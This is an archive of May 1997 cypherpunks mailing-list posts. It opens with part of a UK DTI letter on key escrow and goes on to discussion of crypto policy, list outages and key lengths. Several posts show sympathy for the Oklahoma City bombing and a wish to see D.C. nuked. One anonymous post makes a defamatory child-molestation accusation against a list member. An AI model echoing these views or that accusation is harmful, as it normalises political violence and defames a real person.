the current view of officials from DTI and other Government Departments.
I will take your questions in order:
1.      Authentication of public keys by private individuals:

Of all the issues you raise this has perhaps caused the most concern to 
readers of the Consultation Document.  So let me confirm the position we 
take.  We do not have any intention to impose licensing conditions on 
individuals who through whatever action, certify the public keys of another 
individual through the basis of personal knowledge or friendship.  It 
would, however, be possible (and this is why the Paper is perhaps ambiguous 
on this point) for an individual (as opposed to an organisation) to carry 
out a certification process as a service using knowledge (to guarantee 
authenticity) gained by conventional means (such as passports etc).  It 
would also be possible for an individual to systematically certify the keys 
of a large number of individuals through "hearsay" knowledge.  Such 
arrangements, we believe, should be subject to licensing.
2.      Requirement to escrow private keys:

Again this is an issue which has been commented on frequently in the 
Newsgroups.  As further discussed in the answer to question 4, we can 
confirm that we do not propose that the user be required to escrow his 
private signature key (however generated) with a TTP.  In addition a user 
is clearly at liberty to generate his own key pair for confidentiality; in 
such circumstances we are not requiring the private key, of this pair, to 
be located with a TTP.  If, however, the TTP either generates the 
confidentiality key pair for a user,  or, for example, certifies a 
self-generated public key for confidentiality, then escrow of the 
associated private key would be required under our proposals.  Everyone 
should recognise that this is a compromise under which we acknowledge that 
a proportion of confidentiality keys will not be accessible via the warrant 
process because they have not been escrowed.

3.      Freedom to publish keys and certificates:

We can confirm that the proposals do not seek to licence an individual or 
organisation that simply provides a location where others' public key 
certificates or public keys can be published.   This, however, is on the 
understanding that the individual, or organisations do not (themselves) 
take steps, or provide a facility for others, to authenticate that public 
key or associated certificate.
4.      Exemption of signature-only private keys from disclosure under warrant:

You have correctly identified this question as going to the heart of the 
"legal access" proposals we have made.  And of course you are right in 
identifying the need for the Government to explain how its policy 
objectives are to be met in this area.  But we have been entirely 
consistent in pointing out, both in the Consultation Document and in other 
public fora, that private keys for signature play no part in the law 
enforcement elements of these proposals. It would be completely wrong and 
counter-productive to law enforcement objectives for the authorities to 
have the capability to interfere with the integrity or authenticity of a 
communication.
You invite a technical and detailed explanation of how we intend to cope 
with the ability of the RSA algorithm (and others) to issue a key pair that 
can be used both to ensure the integrity and confidentiality of a message. 
 I think the answer, at least at this stage, is that there probably is no 
such technical method (since we don't intend to restrict the choice of 
algorithm) to prevent this.   In terms of procedure, however, I think there 
is a clear distinction between the use of a key-pair for confidentiality as 
opposed to signing.   As we understand the issue it is a requirement (or at 
least accepted practice) that the public key certificate identifies the 
purpose for which it is to be used.   In other words the TTP (acting as a 
certification authority) will certify the public key, of an individual, for 
a particular purpose.  Therefore if it certifies a public key for signature 
it would not require the deposit of the associated private key;  while if 
it certified a key for confidentiality then it would.   It follows, I 
believe, that  if a user then used a "signature" key for confidentiality it 
would be doing so outside of the terms of the certificate.  It would 
therefore be unwise, in normal circumstances, for the user to do this as it 
would mislead his potential counterparts.  Now I appreciate that such a 
scenario could allow the sender and receiver (both using certified 
signature keys) to use the TTP network for encryption purposes without the 
possibility of key-recovery.  This is, therefore, clearly something we 
would need to look at carefully.   But in many respects, I would argue, it 
is little different from two users using encryption outwith the TTP network 
entirely (eg PGP); a scenario we accept will take place whatever we wish or 
do.
I trust the above is helpful to you.  I am sure it has not answered all of 
your questions or even fully the ones you posed.  There is a long way to go 
yet.   We will, as indicated, ensure that a summary of the responses we 
receive is published after the period of consultation finishes.  By the 
way, the consultation period ends on 31 May.  I have seen some speculation 
on the Internet that comments should be sent well ahead of this date to be 
considered by DTI.  This is not the case.  All responses, email or letter, 
sent on or before the 31 May will be considered.

Yours sincerely
David Hendon
Communications & Information Industries Directorate
DTI
9 May 97






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 13 May 1997 04:09:55 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
Message-ID: <0nRrIt200YUe082No0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:
> On Sun, May 11, 1997 at 01:18:43PM -0700, Lucky Green wrote:
> > People won't use crypto unless it is either transparent, meaning put there
> > *for* them by the OS vendor/application developer or because the see a need
> > for using it. The few fanatics that use crypto because "it is cool" are
> > inconsequential when the objective is bringing crypto to the masses.
> 
> I guess we are doomed, then.

Netscape Communicator has S/MIME built in. I'd imagine that their
support is kinda cheezy and underuses crypto, but it's a step in the
right direction. Considering how open the internet is to snooping, I
think it's nearly insane for business users to not use crypto. I guess
it's testimony to the effectiveness of draconian gov't regualtions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 07:20:34 +0800
To: cypherpunks@algebra.com
Subject: Snickering at the Compromisers
In-Reply-To: <199705122042.NAA06412@fat.doobie.com>
Message-ID: <v03007807af9d5841653f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


I'm not seeing some fraction of the list's traffic, for reasons unclear to
me (but problems at cyberpass.net seem to be involved), so I'll have to
respond to messages as best I can.

At 12:42 PM -0800 5/12/97, Huge Cajones Remailer wrote:
>Peter Trei wrote:
>> >> On Fri, 9 May 1997, Tim May wrote:
>> >>Every day that passes, I'm more convinced that McVeigh did the right
>> >>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
>> >>that.
>
>> I'm getting progressively more turned off by
>> Tim's developing survivalist/confrontationist stance. I fear that
>> journalists and other casual readers will mistake his positions
>> for common 'cypherpunk' viewpoints.

I never worry about representing the "common 'cypherpunk' viewpoint." I
represent my own views. Those who agree, can agree. Those who don't, don't.
Sounds fair to me.

As for anger and a survivalist mentality...some readers obviously weren't
around right after Waco, for example. (Though much of the anger was vented
on related lists, such as Extropians.)

And the creation of the group and mailing list can be traced back to a
strongly "survivalist" mode of thinking in 1992 and then into 1993, when
the implications of the Clipper program became clear. (Some of us saw the
seeds of Clipper six months earlier, in events during the first month of
the list's existence.)

Now that those who only want to talk about mathematical algorithms have
their own moderated mailing lists, there is much less reason to avoid
sociopolitical essays. Those who don't want to hear about politics and want
only to discuss C++  programming tricks are free to avoid the Cypherpunks
list.


>> The type of armed, ingrained bitterness towards all aspects and
>> manifestations of government he displays is hazardous to himself
>> personally; I can envisage a simple traffic stop turning violent.

Only if I'm stopped illegally. I've been stopped, but my truck has never
been searched.(Though California is, like any good police state, expanding
the grounds under which vehicles may be searched.)

>> Worse, he's demonizing his opponent. This is counter-productive.
>> It's better to try to understand the actual underlying goals of
>> your opponent - it gives you a much better chance at turning
>> him into your ally, or avoiding a conflict if you cannot do that.
>> If he can be neither turned nor avoided, the minimum action to
>> change the status quo should be used.

I freely admit I have never had the patience to analyze in detail their
world view. This is why I'm not a "policy wonk," I suppose. I did analyze
the writings of Denning in enough detail to figure out where she was going,
which made her appearance as the Clipperchick hardly surprising.

Do I "demonize" them? No, I just think they're thieves and liars, and in
many cases murderers. I could recap the many examples of this, from
well-substantiated evidence the CIA was running drugs, to acts of military
terrorism by the U.S....but this is all well-trod ground. (Part of why
little effort need be expended trying to "understand the actual underlying
goals" of these politicians and bureacrats.

As with gun rights and the NRA, understanding the "goals" of a Sarah Brady
or Diane Swinestein is a waste of time...their goals are transparent. The
NRA, a vasly larger and better organized group than we are, tried to
"understand" and "reach common ground" with these folks and got stomped on
by the process. Ditto for the EFF. Washington, like Paris, like Teheran,
like all imperial capitals, thrives on such Borg-like assimilations.

>> The policies of the current gang in power are bad, and may well
>> get worse. But terrorism is not yet an appropriate response, and
>> I pray that it never will be.

For the 3rd or 4th time, I have never advocated terrorism, at least not of
a physical sort. I have said I hope to see D.C. nuked, which is hardly the
same as "advocating" terrorism in any meaningful sense (not even the "will
no one rid me of this corrupt city?" sense, given that I have no
Beckett-like powers).

And I have said I can understand some of the motivations of McVeigh, though
I think what he did hurt the cause of liberty.

Those who don't like my honest expressions of opinions should go elsewhere.
Things are bad here in this growing police state, but it isn't yet evidence
of a crime to wish for certain things. (There appears to be an exception
for publically wishing something bad will happen to certain persons who
play golf a lot and ride in Air Force One...part of America's New Royalism.
Though even in this case a leading Senator who warned that Clinton had
better be wearning a bulletproof vest if he visits his home state was not
charged with any crime...if some college student had made exactly the same
threat he'd have been raided, thrown in jail for a week or so with Bubba
(the other Bubba), expelled from college, and so on.)

The Cypherpunks list is clearly not for everyone. Many who were once major
contributors have left, or moved on, or whatever. Some even work in crypto,
and at least one company is mainly made up of folks who met on the
Cypherpunks list.

That some of them have lost interest in politics, or denounce the current
list as "too political," or refer to anyone not doing a crypto company as
"Cypherpunks hobbyists," well, that's to be expected. The Cypherpunks list
was not to everyone's liking even 4 years ago, as any reading of the
Detweiler Wars will obviously see. And back then there were calls for more
compromises with the Washington power establishment, for working with
legislators, and so on. Some even left the list back then because the list
was too "anarchic," and wouldn't adopt an official Charter, an official
Spokespunk, and so on. So?

As a final note, some of the folks over the years urging more official
links to the Washington establishment, more "crypto outreach" to
legislators, actually lived in the Virginia-D.C.-Maryland area. In one
telling example, at the famous post-Clipper emergency meeting (4/93), some
of them called for more Cypherpunk outreach to D.C. "Fine," we said (we
being the 40 or so folks in the crowded room in Mountain View), "we're glad
you've volunteered to make political action your special focus." Those of
us in Silicon Valley, 3000 miles away from D.C., were happy to hear some
"locals" planning a D.C. effort. Alas, but predictably, this never went
anywhere. So, everytime I hear suggestions on the list that Cypherpunks
should "work with Washington," I think of this and snicker.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 07:29:28 +0800
To: Adam Back <cypherpunks@algebra.com
Subject: Re: `careerpunks'
In-Reply-To: <199705122216.XAA02603@server.test.net>
Message-ID: <v03007808af9d61277c6b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:16 PM -0800 5/12/97, Adam Back wrote:
>[This post cc cypherpunks@algebra.com & cypherpunks@cyberpass.net to
>aid propogation which seems to be struggling.]
>
>In trying to figure out which lists were working, I noticed that there
>are now many more people on coderpunks and cryptography than there are
>on cypherpunks... take a look at these figures:
>
>  713 cryptography@c2.net
>  713 coderpunks@toad.com
>  245 cypherpunks@algebra.com + cypherpunks@cyberpass.net - duplicates
>
>Seems to me many of the `cypherpunks' have become `careerpunks' and
>are now more interested in trading crypto tips, trade gossip, than in
>cypherpunks projects.

Interesting. I just made some similar remarks in my "Snickering at
Compromisers" article, which just went out as this one was coming in.

I know of a company most of whose employers met each other through the
Cypherpunks list. Yet the leader of this company announced that his was a
real company (which it surely is), "not just a Cypherpunks hobby."

This shows the disdain with which the Cypherpunks list is held by many
former members, who in fact had little or no interest in cryptography, and
why it is so important, prior to joining our list. Oh well, they got
educated, they formed companies, and now they are bemused that the
Cypherpunks list still exists.

To be fair to them, though, they are generally promoting the cause of
liberty and strong cryptography, and few if any former Cypherpunks are
actively supporting GAK or "key recovery" or other fascist policies.

As for the "success" of the other two list mentioned by Adam, fine, good
for them. Both are "moderated" or at least semi-moderated lists. I won't
post to either of them, not wanting either Perry Metzger or Futplex to have
control over my articles. (And, interestingly, neither of them seems to
post to Cypherpunks, so I suppose it all works out.)

The instability of the Cypherpunks address, with the obvious change from
toad.com to various other addresses (algebra.com, cyberpass.net, and even
ssz), obviously did not help.

Increasing list subscribership has never really been a priority to most of
us, anyway.

But, fact is, Adam is right that many former list members are now much more
interested in "moderated" discussions of "moderate" topics, all in
"moderation."

To each their own.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 05:49:39 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Camera Hacking
In-Reply-To: <v03007805af9d0a380fd6@[207.167.93.63]>
Message-ID: <199705122140.QAA05113@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> 
> 
> (I sent this article to cypherpunks@cyberpass.net, but am getting no
> traffic from that site, and some of my messages have bounced. I've
> subscribed to cypherpunks@algebra.com and will resubmit some of my recent
> articles to that address. It would be nice if the "interlinked lists"
> system could work to handle outages of sites, and not just mutual
> distributions of articles. Any ideas?)

The messages get distributed between cypherpunks sites by way of email.

Any email message is normally stored in queues for five days, if the
recipient site is down. So short outages of cyberpass, or algebra.com,
will not make any messages disappear and cyberpass subscribers will
eventually get them.

I must assure you that there will be time when algebra.com will have
to be brought down for a couple of days or so, for scheduled maintenance.

I will try to give ample warning and maybe transfer the whole list of 
subscribers to some other site.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 05:56:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: The Interlinked Cypherpunks Lists?
In-Reply-To: <v03007800af9d068330c1@[207.167.93.63]>
Message-ID: <199705122148.QAA05204@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> I surmise that something is wrong. So I've subscribed to one of the
> alternates, cypherpunks@algebra.com.
> 
> Some thoughts:
> 
> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

I think that it is rather desirable.

Also, I am curious if Raph Levien could adapt his remailer pinging system
to pinging the cypherpunks network, and produce his reports about the
speed and reliability of each site.

> * Alternatively, if one of the sites goes down, such as
> "cypherpunks@cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

I've been thinking about the same problem in the last month, and I am not
sure how to solve this problem simply and reliably.

The advantage of the current network is that it was extremely simple to
propose and build.  It would be great if someone could propose something
as simple for the task that you are suggesting.

> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

It is not hard, of course, but how should it be different from any other
node in the network? Any existing node is such a virtual subscription
address, and each of them is a potential point of failure for their 
respective subscribers.

The only true reliability can be achieved by subscribing to two or more
cypherpunks sites, and eliminating duplicates. Reliability has its costs.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 13 May 1997 06:10:37 +0800
To: cypherpunks@cyberpass.net
Subject: test1
Message-ID: <199705122158.QAA05442@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 13 May 1997 05:38:29 +0800
To: cypherpunks@toad.com
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
Message-ID: <3.0.1.32.19970512171524.028df2c8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Inducement of Rapid Oxidation of Certain Materials in or Near Government
Buildings

At 04:07 AM 5/11/97 +0200, M. Froomkin wrote:
>[... ugly stuff about "soft targets"]
>
>It ill behooves participants in a democracy to either advocate or even
>tolerate or even cluck sympathetically at mass murder for political ends. 
>This way lies Bosnia.

Tim is neither a democrat nor a participant in a democracy.  Note that all
the parties involved in the current Balkans war are governments (or claim to
be). 

Most of the violence in interactions between people and governments is on the
government side.  The U.S. government and others have been committing mass
murder for years.  Supporters of those governments thus support mass murder
for "political ends."

Governments have murdered 170 million people since 1900.  My
back-of-the-envelope estimate is that the civilians of the world have only
murdered about 20 million people in the same period of time.  Quite a
disparity.

The U.S. government and its subsidiaries (for example) annually kill hundreds
of people in carrying out the "war" on the unlicensed retailing of
pharmaceuticals.  The U.S. was convicted of war crimes in the International
Court of Justice in the Hague in the late 80's for dropping air-sown mines in
one of Nicaragua's harbors.  The U.S. practices the mass bombing of civilian
populations in wartime which causes a very great loss of innocent life.  Many
of the other governments of the world are worse.

The principle of estoppel would seem to logically preclude the world's
governments from arguing that their mass murders are OK but those committed
by amateurs (which kill many fewer people) aren't.

Again, and in general, some of the readers of this and other recent threads
on cypherpunks need some reading lessons (present company excepted).  Tim May
has not advocated blowing things up (though such advocacy remains legal).  He
has not advocated that cypherpunks blow things up.  He has not advocated that
Timothy McVeigh blow things up.  He has not even said that blowing things up
is a hip and happening way to raise the average IQ and moral level of the
surviving population.  

He has merely said that if OTHER PEOPLE blow certain things up he understands
their actions and that in the case of certain targets he would not shed a
tear.  He also predicted that people will be blowing things up in the future
(with which prediction, even the U.S. government agrees).

In any case, cypherpunks' orientation is towards the mathematics of
cryptography rather than towards chemical engineering.

DCF

"If the Red Queen blows things up it's a virtue.  If you blow thgings up it's
a vice." -- The Mad Hatter.


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Version: 4.5

iQCVAgUBM3eIZoVO4r4sgSPhAQEi7gP+K0cDa/6qXtB8FPfmn9Evk2LRxV9qNiQ+
AIjCagp/MeV2WnHKkEcTrX+geZxDOAhDn8XdHopf6sozI2CZlZYxsEqPFOBb0gjx
wnpN/j6zjWxFkTdBO+UGrNPK4+G9+hkm1BPjaJSbsgHT2UrLSsK0YUzu1dW4EQtH
gPKh8/2baSM=
=2y+Y
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 08:46:02 +0800
To: Bill Stout <stoutb@pios.com>
Subject: Re: 64-bit CPU 10x faster in crypto?
In-Reply-To: <2.2.32.19970509173208.006a8a64@vaxf.pios.com>
Message-ID: <3.0.1.32.19970512173423.00696768@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:32 AM 5/9/97 -0700, Bill Stout wrote:
>During a Digital seminar, a statement was made that 64-bit CPUs are about
>10x faster than a 32-bit CPU in dealing with crypto, and that Alphas are
>favorites of Crypto-affiliated Gov't agencies.  

They're certainly nice boxes :-)  But are they really more cost-effective
than piles of cheaper Pentium-Pro-200 boxes?

Crypto mainly falls into three kinds of calculations
- bignum modular exp/mult/factor - Alphas are great at this
- bit-twiddling for DES and friends - don't know if Alphas like this or not,
	but doing multiple operations per very fast clock cycle won't hurt
- byte- and word-oriented cryto, like RC4 and IDEA - 
	64-bit words may be no better than 32-bit for this,
	unless you can find ways to transform the problem
	and use it for parallelism.
	
>I spoke with a reference
>within Digital and the following logic was presented:
>  o A 128-bit key is processed in two 64-bit chunks, vs four 32-bit chunks,
>greatly reducing processing time.
>  o The Alpha executes four instructions per clock cycle.
>  o Alpha clock ratings are 600MHz this summer.
>  o Caveat: The O.S. needs to support 64-bit processing (Digital UNIX or
>Linux, not NT). 

The _compiler_ needs to support 64-bit processing, 
but you're not likely to need 64-bit address spaces
or care too much how fast you can haul data from files into cache,
since you're mostly going to be bashing bignums in cache anyway.
If NT will let you run object code with 64-bit longs, you're ok.

>I'm concerned about the strength of personal/corporate crypto in face of
>large jumps in processing power.

Important topic, but Moore's Law will be with us for a couple more years,
so a factor of 10 in processing power is just 3-4 years speed increase.
That means you need about 3 bits more key for your symmetric cypher or
30 bits more for RSA or Diffie-Hellman public keys.  It's another nail in
RC4/40 and DES's coffins, and another motivation not to use 512-bit RSA,
but no problem for IDEA or RC4/128 or Triple-DES or 1024-bit RSA.

A more serious effect of big fast chips is that they can drive
better data collection machines - how much more pattern-searching 
and traffic analysis can altavista.nsa.mil and dejanews.nsa.mil do
with a multi-processor Alpha that they couldn't with their old DEC-20s?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 09:01:31 +0800
To: cypherpunks@toad.com
Subject: Re: PGP
Message-ID: <199705130047.RAA24073@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Timmy C[retin] May's propensity to molest 
little children, is it any surprise that the 
state of California wants to have him castrated?

       ,,,
      (o-o)
  -ooO-(_)-Ooo- Timmy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 13 May 1997 06:49:34 +0800
To: cypherpunks@toad.com
Subject: Re: whine politics again
Message-ID: <199705122206.SAA10901@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Monique Lamont wrote:
> on the subject of wine-importing restrictions in florida:
> tcmay wrote:
> > Every day that passes, I'm more convinced that McVeigh did the right > thing.
> > Some innocents died, but, hey, war is hell. Broken eggs and all > that.
 
> it's illegal to ship wine to floridans now, so therefore it is okay
> to execute the responsible officials and blow up innocents.
> 
> HELLO PEOPLE!  buy a clue from the Discount Clue Store, and
> while you are out, stop by the Jiffy Lube and get your
> common human decency refilled.
> alice0
> ---------------------------------------------------------
> Get Your *Web-Based* Free Email at http://www.hotmail.com
> ---------------------------------------------------------

  aliceO wants the innocents to live so that she can spam them
to death from her account at hotmail.com.
  They're better off dying quick and painlessly...

SpamMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 13 May 1997 07:50:16 +0800
To: Chris DiBona <dibona@acm.org>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>
Message-ID: <199705122315.SAA25940@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>, on 05/12/97 at 12:45 PM,
   Chris DiBona <dibona@acm.org> said:


>I think that RSA should also realize that without PGP, their market would
>be much smaller, I think every time RSA licenses thier (now renewed)
>patents, they should think of Phil. I don't mean to saint the guy here or
>anything, but they owe him a debt that is difficult to quantify. By suing
>PGP they are basically saying , if I can extrapolate in a rather extreme
>manner, "privacy is okay, but only if we make money at it." 

I would extrapolate a little different:

"thanks Phil for putting us on the map, now bend over and grab your ankles"



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Double your drive space! Delete Windows!

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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LKDCYNh3lFta/Z5J7HLgO/Ch4P1MjtlEGKUSqRS+oKVeXKfsJEI35Wf1aF4jAhzI
DOeBaMylmQo=
=azRs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 13 May 1997 07:52:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: cyberpass.net got a problem?
In-Reply-To: <199705122156.WAA02582@server.test.net>
Message-ID: <199705122334.SAA26201@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705122156.WAA02582@server.test.net>, on 05/12/97 at 03:56 PM,
   Adam Back <aba@dcs.ex.ac.uk> said:



>Hardly any traffic at all today.

>Is cyberpass.net ok?

>I sent a `who cypherpunks' to majordomo@cyberpass.net and got a response
>back instantly from sirius.infonex.com, so it's _there_.

>Most of the small amount of traffic that there is, seems to be from
>algebra.com and toad.com.

>I've just subscribed to algebra.com, in case I'm missing out on articles
>(my procmail will kill duplicates if any).

>How are people on algebra.com finding the traffic?  (2 articles dated 12th
>in total as of 21:40 GMT (+0)).

I have recieved only 2 messages from cyberpass today while I have received
27 from algebra no stats for toad as I am not subscribed to that list.

I am just finishing up my script to collect, log, & merge the two lists. I
hope to add in the news groups also to produce a daily cypherpunks digest.

I should have somthing up and running after I meet a production deadline
this weekend.

I could add some list analysis to my code producing a weekly and/or daily
report on the status of the various lists.

Let me know what kind of info you would like to see in the report and I
will see what I can come up with.

Also what would be a good size to split the daily digest at if it gets too
big?

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you make Windows faster?  Throw it harder!

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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1pMiR+ARGTU=
=B7Xf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Tue, 13 May 1997 10:08:22 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
Message-ID: <199705130145.SAA26803@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:14 5/11/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>I bet the NCSA folks are kicking themselves for missing the opportunity
>to have Jim Bell speak at InfoWarCon 96 :-)

Hey, there's always 1997!

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 07:55:44 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: cyberpass.net got a problem?
In-Reply-To: <199705122334.SAA26201@mailhub.amaranth.com>
Message-ID: <199705122349.SAA06579@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William H. Geiger III wrote:
> I am just finishing up my script to collect, log, & merge the two lists. I
> hope to add in the news groups also to produce a daily cypherpunks digest.
> I should have somthing up and running after I meet a production deadline
> this weekend.
> I could add some list analysis to my code producing a weekly and/or daily
> report on the status of the various lists.
> Let me know what kind of info you would like to see in the report and I
> will see what I can come up with.

1. # of articles from both sources
2. Message-IDs and header summaries of articles that appear in one list
   and not in another
3. Statistics on most frequent posters, by # of messages and # of kbytes
4. Estimated posting delay, per site (can be figured out from Received:
   fields).

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 13 May 1997 07:05:43 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: CAK/GAK center, "first and only U.S. Govnt. approved"
In-Reply-To: <199705122207.PAA11242@fat.doobie.com>
Message-ID: <Pine.GSO.3.95.970512185129.15144A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


This was mentioned by S. Forbes in a recent editorial in the mag, I
believe.

-Declan


On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> http://www.sourcefile.com
> 
> Just how many "authorized personnel" are there, and who all is paying
> them to do what?
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 13 May 1997 08:13:48 +0800
To: tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists?
In-Reply-To: <v03007800af9d068330c1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970512163437.1077A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 12 May 1997, Tim May wrote:

> Some thoughts:
>
> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

For simplicity, I suggest posting announcements to alt.cypherpunks.  I
would assume that most people on this list also read alt.cypherpunks.

>
> * Alternatively, if one of the sites goes down, such as
> "cypherpunks@cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

If each site keeps logs of all messages sent to the list for the last n
number of days, a simple Perl hack would allow the admin of the downed
site to compare logs with another site and send all the unsent messages
to the distribution list.

>
> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

How would this be different from any other list site?  I don't know for
certain, but it should be the case that each site is subscribed to at
least two other sites for redundancy.  A necessary consequence of not
subscribing to two or more lists is the fact there will be one single
distribution point which could go down at any time.

>
> I'll resubmit a few of my recent articles to cypherpunks@algebra.com.
>
> --Tim May
>
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
